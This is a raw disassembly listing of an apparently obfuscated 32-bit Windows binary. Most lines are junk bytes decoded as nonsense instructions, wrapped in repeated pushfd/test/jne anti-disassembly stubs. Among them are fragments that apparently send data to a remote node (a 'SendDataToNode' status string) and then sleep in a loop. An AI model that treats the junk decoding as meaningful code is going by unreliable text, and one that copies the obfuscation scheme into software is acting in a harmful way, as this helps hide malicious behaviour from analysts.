insb byte es:[edi], dx
add edi, ecx
or eax, ebx
rol edx, 0x10
cli
mul dword [eax - 0x62]
push bx
sbb byte [ecx + 0x6d], cl
fstp qword [ebx]
std
add dword [ebx], 0x34
xchg ebp, eax
jg 0x1009de29
mov ecx, 0x842ebaf1
cmp byte [ebx], 0x59
mov dh, 0x60
mov ax, 0x355f
cmp al, 0xd3
insb byte es:[edi], dx
sbb dword [ecx + 0x5d1c2c90], ecx
add byte [ebx + 0x7c47dfcf], bl
cmpsd dword [esi], dword es:[edi]
int3
inc esp
fild word [0xb7a8be30]
xchg esi, eax
test byte [edx + 0x1a], 0xe9
mov ebp, 0xde33fd26
insd dword es:[edi], dx
jbe 0x1009df03
out 0xe3, al
mov bl, 0xc1
mov al, byte [0xbdb915c6]
mov ebp, 0x3e4e21d7
pop eax
inc ebp
xchg ecx, eax
popfd
add esp, 0x1c
push 0x101475f8
lea ecx, [ebp - 0x1600]
pushfd
test byte [0x1009dfdb], 0x8f
jne 0x1009dfdc
fisttp word [ecx]
adc byte [edi + 0xcf850f], cl
add byte [eax], al
fld xword [esi - 0x4f]
stc
movsd dword es:[edi], dword [esi]
xchg edx, eax
dec edi
push edx
or ebx, esi
inc ecx
fbld tbyte [esi - 0x32]
xor eax, dword [edx - 0x2db29cbc]
jecxz 0x1009decb
sub edx, ecx
rol byte [eax + 0x26], 0x13
dec ebp
xor al, byte [esi - 0x7cc35074]
inc esi
dec edi
xchg esi, eax
adc ch, byte [esi + ebx*4]
mov edx, 0xccd64b45
into
mov dword [esi + edx*4 - 0x5710cf10], ecx
cli
out dx, al
lds ebx, [edi - 0x47]
int 0xc5
push ebx
outsd dx, dword [esi]
test byte [ebp + 0x6c], cl
test dword [ebp + 0x21], ebp
daa
lodsb al, byte [esi]
cmc
stosb byte es:[edi], al
cmp dword [edi - 0x781c2f84], ebx
pop esp
cli
dec esi
insb byte es:[edi], dx
invalid
popfd
call fcn.10005af6
lea eax, [ebp - 0xdd4]
push eax
lea ecx, [ebp - 0x1638]
mov byte [ebp - 4], 5
call fcn.10005af6
push ebx
lea eax, [ebp - 0x1600]
push eax
lea eax, [ebp - 0x1638]
push eax
pushfd
test byte [0x1009e0ca], 0x76
jne 0x1009e0cb
push edi
int1
xor edi, edi
mov bh, 0xb8
int3
jecxz 0x1009e0cb
adc eax, dword [ebx + ebp*2 - 0x370dbb69]
jno 0x1009e0d3
jb 0x1009e0ad
cwde
dec edx
adc esi, edx
push ebp
jg 0x1009e098
aas
jae 0x1009e102
adc byte [edi - 0x7dc1de53], 0xed
daa
stosd dword es:[edi], eax
adc edi, ecx
cdq
or byte [edi + 0x48], bl
inc edx
test al, 0x45
outsd dx, dword [esi]
adc dl, ah
adc dword [edi + ebp + 0x134eb048], esi
popfd
lea ecx, [ebp - 0x183c]
mov byte [ebp - 4], 6
inc ebp
cld
push es
call fcn.10089149
neg al
sbb al, al
xor edi, edi
push ebx
pushfd
test byte [0x1009e15c], 0x7f
jne 0x1009e15d
sub al, 0x8d
add al, 0x8c
jge 0x1009e0be
dec ebx
ja 0x1009e0a5
and bl, dh
cdq
dec esi
push eax
inc esp
mov al, byte [0x85961661]
mov ebp, 0xc025f9dd
outsd dx, dword [esi]
arpl word [ebp + 0x5f], ax
lodsd eax, dword [esi]
or ebp, dword [edi + 0x12]
pop edx
cmp eax, 0xc29bfff9
rcl byte [ebx + 0x4d], 0x1d
enter 0xffffffffffffca96, 0xffffffffffffffe8
sbb al, 0x21
jae 0x1009e11d
call 0xb7d023e
in al, dx
cmc
sbb dh, byte [ecx - 0x7b2bf391]
aam 0x84
popfd
push eax
inc esi
popfd
cwde
dec ebx
pop ss
jbe 0x1009e138
aaa
cmp esp, ebp
xchg edi, eax
push es
add eax, 0xacf85fa
dec ebp
add edx, esp
jl 0x1009e128
sbb al, 0x17
movsd dword es:[edi], dword [esi]
leave
or dword [edi - 0x56], 0x60
push cs
aaa
jl 0x1009e138
adc dword [ecx], esi
push 0xad29ff69
mov cl, 9
pop ds
or ebx, esi
pop ds
out dx, al
popfd
inc al
inc edi
pushfd
test byte [0x1009e19c], 0x59
jne 0x1009e29d
test eax, 0x7eb7503d
enter 0x4e69, 0xffffffffffffffc3
rcl byte [edi], 0xb9
xchg edi, eax
or esi, dword [ecx + 0x401b7917]
jns 0x1009e19c
inc eax
neg byte [eax + edx*8]
cwde
xchg ebp, eax
xchg edi, eax
jbe 0x1009e17f
mov al, byte [0x94eaa45f]
cmc
stc
movsd dword es:[edi], dword [esi]
mov ebx, 0xf119362b
cmp byte [edi - 0x12], dl
sar ch, 1
pop ds
lodsd eax, dword [esi]
jnp 0x1009e159
dec dword [0xb50762e2]
mov esi, 0x61a98e83
mov bh, 0x14
sbb dl, byte [esi + 0x31afc720]
jno 0x1009e209
push esp
fisttp dword [edi]
mov ebp, 0x84b17a9f
call 0x1f14b8c1
xchg esi, eax
int1
mov al, 0xf6
sub eax, 0x53b2e225
mov ch, 0xcf
cmpsb byte [esi], byte es:[edi]
dec ebx
bound ecx, qword [esi + esi*4 - 0x3c]
jns 0x1009e248
cmp dl, byte [0xfa330d80]
cmp dl, byte [esi]
rcl dword [eax - 0x20], 0x43
and dword [0x82251df], 0xffffffb2
scasb al, byte es:[edi]
dec esp
mov eax, 0x9868f3af
pop esi
stc
jg 0x1009e21f
pop esp
test byte [esi - 0x40], dl
xchg esp, eax
cmp byte [eax + 0x1269a193], al
jl 0x1009e1ea
in eax, 0xe5
insb byte es:[edi], dx
pop ebx
inc ecx
xchg esi, eax
fisub word [esi + 0x6a]
xchg esp, eax
push 0xffffffffffffff94
movsb byte es:[edi], byte [esi]
bound esi, qword [ebx + esi - 0xb]
stosd dword es:[edi], eax
xchg byte [edi - 0x5c68234a], ch
jno 0x1009e1b4
mov al, 0x17
fist dword [ebx + 0x3a2765f4]
push ebp
movsd dword es:[edi], dword [esi]
daa
cmp dl, byte [ebp - 0x5b]
jno 0x1009e1eb
test dword [edx + edi], 0x981f10eb
jae 0x1009e1b3
imul edx, dword [eax + edx*8], 0xffffffde
test eax, 0xf2a51a97
and eax, 0xe0a86d75
clc
xchg ebx, eax
fucom st(3)
call dword [edx]
pop eax
cdq
sub al, 0x49
xchg bl, cl
adc al, 0x68
and al, 0x19
stosd dword es:[edi], eax
out 0x1f, eax
fsubp st(5)
mov al, 0x65
mov ecx, 0x556c6383
movsd dword es:[edi], dword [esi]
div byte [edi - 0x1851a1a3]
sbb dword [edi], edi
sub edx, dword gs:[ebx]
test byte [ebp - 0x50fa6b83], al
dec esp
into
outsd dx, dword [esi]
adc dword [eax - 0x331a3f6c], 0xc465721a
xchg ebx, eax
cmp byte [ebx + 0x6e], dh
shr byte [edx], 0xd8
sub esp, ecx
push ss
or edi, ecx
cmp ecx, dword [ecx + 0x6096c980]
sbb eax, 0x3bff3b09
xchg byte [edx + 0x23], dh
or eax, ebp
shl edi, 1
fdivr qword [edi + 0x5f]
stosb byte es:[edi], al
popfd
push edi
lea ecx, [ebp - 0x1638]
mov byte [ebp - 0x183d], al
call fcn.10002a9a
push ebx
push edi
lea ecx, [ebp - 0x1600]
mov byte [ebp - 4], 4
call fcn.10002a9a
cmp byte [ebp - 0x183d], bl
je 0x1009f2e3
lea eax, [ebp - 0x1600]
push eax
pushfd
test byte [0x1009e2f1], 0x61
je 0x1009e3f2
or byte [ebx + edx*8 + 0x63], ah
cmpsb byte [esi], byte es:[edi]
insd dword es:[edi], dx
sub ch, al
lds esi, [edi + 0x46]
in al, 0x42
add bh, 0x58
insb byte es:[edi], dx
or dword [edi + 0x81bf377], ebp
and ebp, dword [0x732d44e7]
or cl, byte [eax - 0x31]
js 0x1009e365
cmc
inc esi
push ecx
mov ebx, 0x998ddda2
sub al, 0xcf
inc ebx
cld
je 0x1009e392
adc ebx, dword [esi - 0x342c3805]
cmp dh, ah
pushal
jle 0x1009e307
adc al, 0xb9
sub dword [edx], 0xf77d2d81
jecxz 0x1009e343
stosd dword es:[edi], eax
rcr byte [ecx - 0x218d1f0a], 1
sub eax, 0xf7618d43
and al, 0x48
and dword [ecx + 0x68f8cdf4], 0xffffffe2
sbb byte [ebx + 0x7d260f8b], 0xf3
inc ebp
xchg ecx, eax
rol dword [eax + 0x60], 1
in al, 0xb7
inc ecx
pop ebp
fstp dword [ebp - 0x40b133d1]
inc ebp
daa
je 0x1009e35e
invalid
add eax, 0x985f4f95
cwde
pop ebx
pop esi
ror byte [ecx + 0x61fe67d6], 0x2e
cdq
xchg ebx, eax
sub dword [ecx - 0x72], esp
test dword [edx - 0xfd19e35], ebp
insd dword es:[edi], dx
int 0x1e
adc edx, dword [esi]
xor byte [edx], bl
jl 0x1009e3d8
invalid
cmp byte [edi - 0x36], dh
and ecx, dword [0xd6fe455a]
scasb al, byte es:[edi]
pop esp
mov dword [edi - 0x5811f9fa], esi
ja 0x1009e38f
adc edx, dword [ecx - 0x80]
into
and byte [eax + 0x1cd90984], 0xb2
inc esi
cmp eax, dword [esi]
or ah, byte [esi + 0x18c77b75]
cmp byte [ebx - 8], ch
dec eax
xchg ebx, eax
inc eax
lahf
insd dword es:[edi], dx
ffreep st(6)
xchg edx, eax
out dx, al
mov dword [0x8ee2833], eax
into
sbb dl, byte [ecx - 0x453f1f8e]
and dh, bl
cmp eax, 0xf7d01a35
in eax, 0x51
cmp ebx, dword [ebx]
outsd dx, dword cs:[esi]
sbb ebp, dword [esi]
outsd dx, dword [esi]
clc
mov ch, 0xf4
sbb dword [0xaee740e5], ebx
jge 0x1009e3e9
push edi
sbb ebx, dword [ebp - 0x6d]
js 0x1009e403
sub bh, bl
sti
mov ecx, 0xc12c66bc
arpl word [edi], sp
add esi, dword [esi + 0x4a9b0e2f]
cmp dh, al
jb 0x1009e3c5
je 0x1009e40b
loop 0x1009e3bd
rol ebx, 1
lodsd eax, dword [esi]
popfd
lea ecx, [ebp - 0x183c]
call fcn.1006f2a4
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 7
inc ebp
cld
pop es
jb 0x1009e4f9
add byte [esi + esi*8 + 0x9e4f505], bl
adc byte [edx + 0xf], dl
test esp, ebx
add byte [eax], al
add ah, bh
pushfd
test byte [0x1009e4f5], 0x52
jne 0x1009e4f6
fadd qword [eax]
add byte [eax], al
cld
into
popal
pop ebx
int 0x82
inc ebp
pop ds
stosd dword es:[edi], eax
pop edx
push esi
clts
in al, dx
dec edx
add eax, 0x9a33a636
stc
inc ebx
xchg ebx, eax
sahf
and ebx, ebx
in eax, 0xc9
cmp al, 0xa4
inc byte [ebx + 0x31]
jecxz 0x1009e45c
shl byte [ecx], 0xd8
std
add eax, 0xe283bd96
call 0x5c85341d
jb 0x1009e416
mov edi, 0x86ab4c7d
and bl, byte [ebx]
inc esp
aas
sub al, 0x30
fst qword [edi - 0x70a9f185]
arpl bx, ax
cmpsb byte [esi], byte es:[edi]
scasd eax, dword es:[edi]
or dh, byte [edx]
arpl word [ecx - 0x60], bp
push ebp
xor al, 0xef
add eax, 0xc4a13a5e
push es
lds ecx, [edx - 0x6a]
push eax
scasd eax, dword es:[edi]
mov ds, word [ebx]
movsd dword es:[edi], dword [esi]
xchg edi, eax
sbb al, 0xda
fcomp st(2)
sub dword [edx + ebp*2 + 0x5c692e1f], esp
mov edx, 0x77537071
cmp cl, byte [ebx]
inc eax
test byte [ebx], bh
out 0xfd, al
xor dword [ebx + ebx*4], ebx
mov eax, 0xb757db9c
nop
xor cl, cl
lahf
pop ss
stosd dword es:[edi], eax
in eax, dx
int 0xef
dec edx
cmp dword [ebx + 0x4d], ebx
cmp bh, byte [ebx - 0x3f]
jmp dword [esi + 0x759d593b]
push cs
push esi
invalid
popfd
mov eax, dword [eax]
lea ecx, [ebp - 0xdd4]
push ecx
push eax
push dword [ebp - 0x1844]
push str.Common::SendDataToNode::i:_d_ResponseStatusCode:_s_wszShortUrlReq:_s
push ebx
push 3
pushfd
test byte [0x1009e5cd], 0x26
jne 0x1009e5ce
add al, 0xd0
push cs
popal
lds ebx, [edx - 0x3679f896]
in eax, 0x5b
mov eax, 0x1f2499ae
outsb dx, byte [esi]
jns 0x1009e5af
mov bh, 0xe6
int1
cmc
and eax, 0x659b2779
lea edx, [esi + 0x68]
ja 0x1009e5a7
xor dword [esi - 0x7c4c53b4], ecx
inc edx
mov eax, 0x4ab14ee6
lodsd eax, dword [esi]
xchg ebx, eax
sar esi, 1
sub al, 0x2d
mov bh, 0xbb
lodsb al, byte [esi]
imul esp, dword [ebx], 0x2d
sbb bl, byte [eax - 0x1b64a61b]
mov ebp, 0x2f8af9d
pop esi
nop
aaa
pop esp
in al, 0x29
fbld tbyte [edx + 0x66]
mov dl, 0x83
lea eax, [esi - 0x13]
sub eax, 0xc9e564c8
sub byte [edi + 0x292cf97], cl
jno 0x1009e5cb
jbe 0x1009e53d
pop ds
jecxz 0x1009e51f
sub dword [ecx], edx
fcomp qword [ebp + 0x6f96caf0]
inc edx
xchg ecx, edx
aaa
pop ebx
aad 0x7d
sbb eax, 0xa50ce979
or byte [ebx + 0x48], 0x21
cmc
sub byte ss:[esi - 0x5b], bl
sub dword [0xd80d8005], edx
invalid
leave
cmp dh, ah
test eax, 0xc4266351
mov eax, 0x928f8a07
cwde
sar dword [eax], cl
das
or ecx, dword [edi + edi*8]
insd dword es:[edi], dx
sub dword cs:[esi - 0x3c], ecx
outsd dx, dword [esi]
dec ebp
push 0x86ba2207
imul eax, edi, 0x999b05db
wait
cdq
push edi
popfd
call fcn.10049c0c
add esp, 0x18
pushfd
test byte [0x1009e623], 0x45
jne 0x1009e624
not byte [edi + 0x1b]
add eax, 0x45da4076
pop eax
push ebp
aam 0x90
outsd dx, dword [esi]
lea esi, [ecx + 0x5c]
pushal
adc al, 0x32
lodsb al, byte [esi]
mov ecx, 0x10befc5b
xor al, 0xc9
shr byte [ecx], cl
out dx, eax
adc edi, esi
ja 0x1009e647
popal
sal byte [ebx - 9], 0x3d
xchg dword [edi - 0x2d], ecx
loop 0x1009e62d
shl edx, cl
pop ds
add eax, 0x797a1a4b
xor ch, byte [ecx + 0x66b5d462]
out dx, al
inc eax
sbb ebp, edx
pop es
salc
push ebx
dec eax
popal
dec esi
popfd
push ebx
push edi
lea ecx, [ebp - 0x1600]
mov byte [ebp - 4], 4
call fcn.10002a9a
lea eax, [ebp - 0x1600]
push eax
pushfd
test byte [0x1009e6db], 0xe4
jne 0x1009e6dc
xchg ecx, eax
add byte [eax], al
add byte [ecx], dl
ror dword [ecx - 0x3ed58987], 1
adc ecx, edx
mov dword [ecx + 0x76], edi
sub al, cl
shl dword [esi - 0x6955b0d4], 0x67
add al, 0x24
cmpsb byte [esi], byte es:[edi]
sub al, 0x4f
stosb byte es:[edi], al
xchg esi, eax
add al, 0x24
das
pop ss
scasd eax, dword es:[edi]
mov ch, 0xc7
inc eax
xor dword [eax], edx
inc ecx
push ecx
out 0x32, eax
jo 0x1009e60b
sbb al, 0xb1
xchg ebp, eax
salc
dec dword [ebx]
adc dword [edi - 0x7a139f8f], esi
inc esi
dec edx
inc esp
fnstenv [eax - 0x21125aeb]
push ss
xchg esp, eax
mov ecx, 0x6cf4b3eb
adc eax, dword [edx + 0x46]
lea edx, [ebp - 0x6dde3ece]
arpl word [ecx - 0x6929bf49], ax
adc bh, al
js 0x1009e6ce
xchg esp, eax
xor edx, esi
int 0x66
test al, 0xb8
jnp 0x1009e651
loopne 0x1009e6a8
jecxz 0x1009e6e3
into
out 0x57, al
sbb dword fs:[edx], 0xfd72118c
dec esp
xor dword [edx], ebp
jbe 0x1009e6a3
loop 0x1009e67e
add bh, byte [edx + 0x2305aac6]
lodsb al, byte [esi]
mov ebx, 0x9d2a6ba4
sub edi, esi
rcl dword [eax - 0x6c]
insb byte es:[edi], dx
int1
insd dword es:[edi], dx
popal
movsb byte es:[edi], byte [esi]
lodsb al, byte [esi]
std
mov al, byte [0x8f708e55]
and ebx, ebp
rcl byte [esi]
xchg ecx, eax
cmp ah, dh
cmc
popfd
lea ecx, [ebp - 0x183c]
call fcn.1006f2a4
pushfd
test byte [0x1009e7b6], 0xf2
jne 0x1009e7b7
sbb al, 0xd2
jns 0x1009e72f
or dword [0x701548cc], ebx
xchg ecx, eax
jo 0x1009e700
and al, 0x82
dec esi
jecxz 0x1009e6b2
cmc
insb byte es:[edi], dx
test dword [eax + 0x3893db94], edx
pop edi
add ebx, esp
clc
fild word [ecx + 7]
dec edx
jne 0x1009e796
pop ds
inc ebp
insb byte es:[edi], dx
dec esp
xchg cx, ax
stosb byte es:[edi], al
jl 0x1009e72b
lodsd eax, dword [esi]
jg 0x1009e74e
adc cl, byte [edx - 0x19cfb09b]
dec edi
xor dh, ah
adc eax, 0xf9e9605c
xchg edi, eax
inc ecx
les edi, [ecx + 0x6834db4a]
push edi
fcom dword [eax + 0x17]
add dword [esi - 2], ebx
idiv dword [0x7275be21]
pop esp
pushal
jmp 0xd44b7f2f
out dx, al
dec ebx
jg 0x1009e7c9
dec esp
jbe 0x1009e748
stc
cmpsb byte [esi], byte es:[edi]
xchg esp, eax
dec edx
out 0xd8, al
push esi
mov dl, 0x91
mov al, byte [0xf32871b9]
xor dword [edi + 0x37], esp
push ebx
mov word [ebx], fs
pop ecx
sub esi, ebx
in eax, dx
outsd dx, dword [esi]
mov edx, 0x7d7e1ab
out 0xed, eax
dec bh
scasd eax, dword es:[edi]
push 0x36
push ds
scasd eax, dword es:[edi]
nop
add dword [0xa282bb6c], edi
into
sbb bl, byte [ecx]
cmp al, 0xaf
pop edi
mov dword [edi + 0x5e], 0x4e76e9f4
lodsd eax, dword [esi]
mov dword [0x6f4c1c1], eax
mov dh, ch
or al, 0xdf
cdq
scasb al, byte es:[edi]
add al, 0xdf
push ebp
and edi, edx
arpl si, sp
mov ch, 0x63
inc byte [ebx - 0x7e]
push esp
pop ss
cmpsb byte [esi], byte es:[edi]
inc ebx
and byte [esi - 0x638162c3], 0x79
inc edi
xlatb
add eax, 0x107528c7
add al, 0x96
popfd
cmp dword [eax + 0x10], ebx
push ebx
push edi
lea ecx, [ebp - 0x1600]
sete byte [ebp - 0x183d]
pushfd
test byte [0x1009e8b7], 0xf9
call [esi + esi*8 + 0x9e8b705]
adc cl, bh
stc
jne 0x1009e8b8
or ah, byte [ebx + esi*2 - 0x4a]
cli
das
ficom word [esi + esi*4 - 0x4b]
add dword [edx + 0x3b], ebp
daa
sub eax, 0xc72effd1
jl 0x1009e853
xchg ecx, eax
outsd dx, dword [esi]
and eax, 0x4c8c3eeb
shl dword [edx + ecx*2], cl
into
lahf
mov ebp, edx
push ebp
idiv dword [ebp - 0x2102003d]
jb 0x1009e84c
mov edi, 0x866c98f5
mov ch, 0x46
dec ecx
daa
sub dh, 0x65
sbb eax, 0x87b64e1e
jle 0x1009e7ed
in al, dx
cld
xchg byte [eax - 0x61], ch
mov ecx, ebx
add bl, byte [edi + 0x60a4aa7f]
pop edx
salc
jnp 0x1009e7d1
leave
mov cl, 0xa7
xor byte [esi - 0x29], dl
push esi
xlatb
fcmovbe st(0), st(7)
loopne 0x1009e82e
inc edx
or ch, byte [ecx + 0x65]
popfd
cld
and al, 0xba
dec esi
mov esp, 0x420d54fa
sub al, 0x41
mov dh, byte [eax]
cmpsb byte [esi], byte es:[edi]
xchg ecx, ebp
cmp eax, 0xb24b517e
aam 0x69
jb 0x1009e81a
push ecx
dec ebx
mov dl, 0xd4
imul esi, dword [edx - 0x39], 0xba00d061
cmpsd dword [esi], dword es:[edi]
mov edi, 0x7a253827
lcall 0xf16c, 0xac6b0a58
ljmp 0x69e
popal
rol byte [eax], 1
mov edx, 0x3827bfa7
and eax, 0xa589a7a
imul ebp, dword [esp + ebp*2 + 0x70b7eaf1], 0xffffffa4
rcr byte [esi + 0x45354206], cl
pop ecx
inc esi
push ds
cdq
cmp ecx, dword [eax]
cwde
out 0x8d, eax
cmp byte [eax - 0x6fd80b1a], 0x33
push eax
aas
pushfd
out dx, al
and byte [edi + eax*2 + 0x16], dl
pop eax
outsb dx, byte [esi]
leave
mov al, 0x6c
clc
push ebx
je 0x1009e853
std
test dword [ebp - 0x7d], ebp
in eax, dx
pop ds
sbb al, 0xe
pushfd
add eax, 0x7789d6df
mov dh, 0xf6
add byte [ecx - 0x5593532d], ch
jb 0x1009e904
mov edx, 0x4e9b3f40
sub ebp, dword [esi + 0x76]
stosd dword es:[edi], eax
push esp
sub byte [edx], dl
pop esi
cmc
pop esp
popfd
call fcn.10002a9a
cmp byte [ebp - 0x183d], bl
jne 0x1009f708
lea eax, [ebp - 0x1600]
push eax
lea ecx, [ebp - 0x183c]
call fcn.1006f2a4
mov esi, eax
or dword [ebp - 0x1854], edi
mov edi, 0x10147604
push edi
mov byte [ebp - 4], 8
call fcn.1011d740
pop ecx
pushfd
inc ebp
cld
or al, ch
dec ebp
out dx, al
pop es
add byte [ecx - 0x64], bl
test byte [0x1009e915], 0x6b
jne 0x1009e916
and eax, 0x76eddd66
insd dword es:[edi], dx
xchg esi, eax
xor eax, esi
or dh, 0x29
sub eax, 0x414087cd
inc ecx
stosb byte es:[edi], al
cmpsd dword [esi], dword es:[edi]
jg 0x1009e93d
jge 0x1009e8eb
popfd
push eax
push edi
pushfd
test byte [0x1009e9cd], 0x8d
jne 0x1009e9ce
sal eax, cl
add eax, 0x88a3a5f7
inc edi
or eax, 0x7a876470
salc
jg 0x1009e8ea
out dx, al
lahf
mov ds, word cs:[ebp + 0x73ef5249]
salc
push edx
out dx, eax
jae 0x1009e917
jb 0x1009e96c
push ebp
imul eax, dword [eax + 0x33097033], 0x2f30e1b4
xchg ecx, eax
int 0x90
inc edx
sti
cli
aad 0
inc esp
ja 0x1009e962
mov al, byte [0x9cd88d78]
ror byte [ebx], 1
xlatb
int1
cli
sub dword [ecx], esi
out 0xf, al
sbb byte [edx - 0x52], dh
jge 0x1009e957
test al, 0x59
xchg ebp, eax
pop ss
mov al, 0x32
add byte [edi - 0x2c], 0xc3
xor cl, byte [ebx - 0xe41a11e]
sbb esp, dword [0x2d071466]
stosd dword es:[edi], eax
jb 0x1009e93f
dec edi
test eax, 0xc8b8e6c1
or byte [edx + eax*2 + 0x44849ff9], bh
imul eax, dword [eax], 0x61f3d165
and dword [edi], 0x453fbe2d
cmpsd dword [esi], dword es:[edi]
sub al, 0x2e
movsb byte es:[edi], byte [esi]
add cl, byte [edi - 0x26]
xchg ecx, eax
mov dh, 0x47
movsd dword es:[edi], dword [esi]
cmp al, 0x1c
push edx
mov al, ch
pop esi
mov esp, 0x5ead4cc0
add bh, byte [edx + 0x3c]
pop ss
and dword [eax + 0x25], edi
add dword [edx + ebp - 0x3e8f5fd6], ebp
adc dword [edi + eax*2 - 0x68], edi
push cs
sub dword [edx - 0x457bf5ca], esp
out dx, al
popfd
push dword [esi + 0x10]
mov ecx, esi
push ebx
call fcn.1005e4cc
test eax, eax
je 0x1009e9ee
cmp dword [ebp - 0x184c], 3
mov byte [ebp - 0x183d], 1
jb 0x1009e9f4
mov byte [ebp - 0x183d], bl
test byte [ebp - 0x1854], 1
pushfd
test byte [0x1009ea77], 0x95
jne 0x1009ea78
out 0xf9, al
mov byte [edi + esi*8 - 0x3b], 0xf7
mov bl, 0x7e
mov ah, 0x28
xor al, 0x4f
sbb eax, edx
push ds
pop edi
jle 0x1009ea1b
jno 0x1009e9bb
mov eax, dword [0xc99445ec]
in al, dx
inc ebp
xchg esp, eax
leave
mov ebp, 0x1b47aaa4
aas
out dx, eax
push esp
mov esi, dword [ebx - 0x1ba6a260]
adc cl, ch
and eax, 0x9e68c778
dec edi
sbb esi, dword [ecx + ecx]
int 0x15
mov dh, 0xfe
pop ds
fistp word [edi]
arpl word [ecx], ax
fdiv st(1), st(0)
pop ebp
fmul st(4)
test byte [ecx - 0x21d50b66], cl
test byte [edi + ecx*2 + 0x24], ch
or cl, byte [edi - 7]
mov eax, 0x8182ee1
xchg ebx, ebx
cli
mov eax, 0x2ee74518
dec eax
inc esp
imul edx, dword [ebx], 0xffffff81
aam 0xe3
sub eax, 0x49704a4b
pushfd
jg 0x1009ea19
dec edi
pop esi
pop ebx
jge 0x1009ea8f
push 0xfffffffffffffff4
popfd
mov dword [ebp - 4], 4
je 0x1009ebe7
and dword [ebp - 0x1854], 0xfffffffe
pushfd
test byte [0x1009eb48], 0xc7
jne 0x1009eb49
add eax, 0x1009eb48
invalid
push 0xb4424e7e
fimul dword ss:[esi - 0x5c43e3b0]
mov ah, 0x18
cwde
lodsd eax, dword [esi]
jns 0x1009eaf4
int3
test eax, 0xd6475b1e
and dl, byte [esi - 0x1e2e98c6]
cmpsd dword [esi], dword es:[edi]
xchg esi, eax
cmp ah, byte [edi - 0x2f]
loope 0x1009eaa7
fsub dword [ebx + 0x77c95522]
push esp
sar ebp, 1
xlatb
xor al, 0x4e
mov word [ebp + 0x4a], ds
push ds
in al, dx
sbb eax, 0xf49f12a5
ja 0x1009eafa
adc bl, byte [edi + 0x14e277f4]
cmp esi, dword [ebx - 9]
adc al, 0x3b
jae 0x1009eb13
mov al, byte [0x3c9203c0]
fisubr word [ebx + 0x309c62de]
aas
mov dword [0x8abc5f90], eax
fst dword [esi]
mov bl, cl
push ss
sbb bh, byte cs:[eax + 0x1b]
cli
cmp dword [ebp + 0x633eec3a], eax
sti
arpl bx, di
fidiv dword [ebp - 0xfc85f2e]
dec edi
push cs
and esi, esi
push ds
dec eax
xlatb
popfd
push ebx
push 1
pushfd
test byte [0x1009ebda], 0x2d
jne 0x1009ebdb
jae 0x1009eb39
mov edx, 0x8418b972
dec ebx
enter 0x581f, 0xffffffffffffff90
sbb byte [ebx + ecx*2 - 0x6fa7e038], al
jge 0x1009eba3
add eax, 0x9c8a416e
loopne 0x1009eb60
inc ecx
inc edi
add al, 0
dec ebp
arpl word [ebp + 0x2e579719], ax
aam 0x64
pop ds
movsd dword es:[edi], dword [esi]
cli
cli
mov dl, 0xff
push 0xb50b35a2
jge 0x1009eb2c
lodsd eax, dword [esi]
rcl ecx, 1
xlatb
in al, dx
dec ebx
sub dword [eax + 0xb2a6e3c], edi
sub cl, byte [ebx]
shl ecx, 0xeb
ja 0x1009ec08
movsb byte es:[edi], byte [esi]
jns 0x1009ebce
movsb byte es:[edi], byte [esi]
dec edi
mov dword [edi - 0x42], ebp
or al, 0xd5
ja 0x1009ebd3
jne 0x1009eb94
movsd dword es:[edi], dword [esi]
jns 0x1009ec19
add al, 0x9b
sbb al, 0xab
pop esi
js 0x1009eb90
push ebp
add esp, esi
dec ebp
sub bh, bh
add al, 0xc6
cli
sub dword [eax - 0x38fd89c2], 0xc065b114
adc al, 0x8d
dec esi
dec ecx
pop ds
fdivrp st(3)
adc dl, byte [ebp - 0x1b65e4c1]
std
in al, 0xfd
mov eax, dword [0x41534deb]
xchg esp, eax
popfd
lea ecx, [ebp - 0x1600]
call fcn.10002a9a
cmp byte [ebp - 0x183d], bl
je 0x1009ede2
inc dword [ebp - 0x184c]
pushfd
test byte [0x1009ecbb], 0xfe
jne 0x1009ecbc
sbb al, ch
lds eax, [ebx - 0x24]
mov ah, 0xda
push 0xffffffffffffff97
invalid
inc ebx
fdiv qword [edx + ebx*8 + 0x14fe976a]
mov dl, 0x7e
popfd
in al, 0xa8
push eax
sbb esp, esp
sbb dword [edi - 8], ebx
into
in eax, dx
sbb dh, ah
movsd dword es:[edi], dword [esi]
test dword [esi - 0x76fce75f], edi
dec esi
scasd eax, dword es:[edi]
out 0xa6, al
out 0xcd, eax
jbe 0x1009ec8c
push ecx
adc dword [ebp - 0x44], 0xffffff9a
fadd qword ds:[esi + 0x40ee5216]
scasd eax, dword es:[edi]
jg 0x1009ec09
or byte [edx - 0x42], cl
sar byte [edi + 0x22a8d5de], 0xb
cmpsb byte [esi], byte es:[edi]
imul byte [esi]
dec esp
nop
or esp, dword [esi - 0x6fb3d10a]
and byte [edi + 0xc], 0x4b
push es
mov al, 0x32
cmp al, 0xcb
scasd eax, dword es:[edi]
mov dword [ecx + 0x758fccbb], esi
sbb al, 0xc0
shl dword [edi + ecx - 0x28893c10], 0x79
pop ss
and byte [ebx + ebp*8 - 0x1a], 0x47
outsd dx, dword [esi]
cli
mov ebp, 0xdc288da1
clc
mov ch, dl
xchg edx, eax
adc byte [edi + 0x386fff6f], bh
mov ebx, 0x8b043978
clc
jae 0x1009ec47
and edi, dword [edi - 0x43]
fldcw word [eax]
sub esi, ecx
into
or ebx, dword [edx + edx*2]
and ah, ah
pop ss
fcomp dword [edx]
push esp
aad 0xda
pop ebx
sub dword [ebp - 0x33], edx
jmp dword [edi]
popfd
dec dword [ebp - 0x1844]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1009f60f
dec ebp
push ebx
sar byte [ecx], 0x6f
xchg ebp, eax
mov ch, 0x6c
aas
pushfd
inc ecx
xor al, 0x2f
stosb byte es:[edi], al
lodsb al, byte [esi]
fcom qword [edx - 0xebf9136]
or dword [esi - 0x62], ecx
push cs
stosb byte es:[edi], al
into
xchg ebx, eax
push esp
les esp, [ebx + esi*8 - 0x5524686b]
cwde
daa
pop es
out dx, al
push edx
salc
insd dword es:[edi], dx
pop esp
push es
push ds
in al, 0xf0
jae 0x1009ed26
sal dword [edx], 1
loop 0x1009ed20
xor ah, dl
enter 0x61bd, 0x3a
fld1
mov ebp, 0xe8d93a61
push eax
adc edx, 0xffffffb2
stosb byte es:[edi], al
mov dh, 0xd
pop esi
sar al, 1
or byte [edi - 0xd], 0xb3
adc eax, 0x58e76cf2
lodsb al, byte [esi]
sbb dh, dl
aaa
das
xchg esp, eax
imul dword [ebp + 0xd]
xor byte [edi + 7], bh
xor edi, ecx
add ebx, dword [0x5955fcaf]
test cl, bl
sbb al, byte [eax + 0x66]
arpl word [ecx + 0x4e], dx
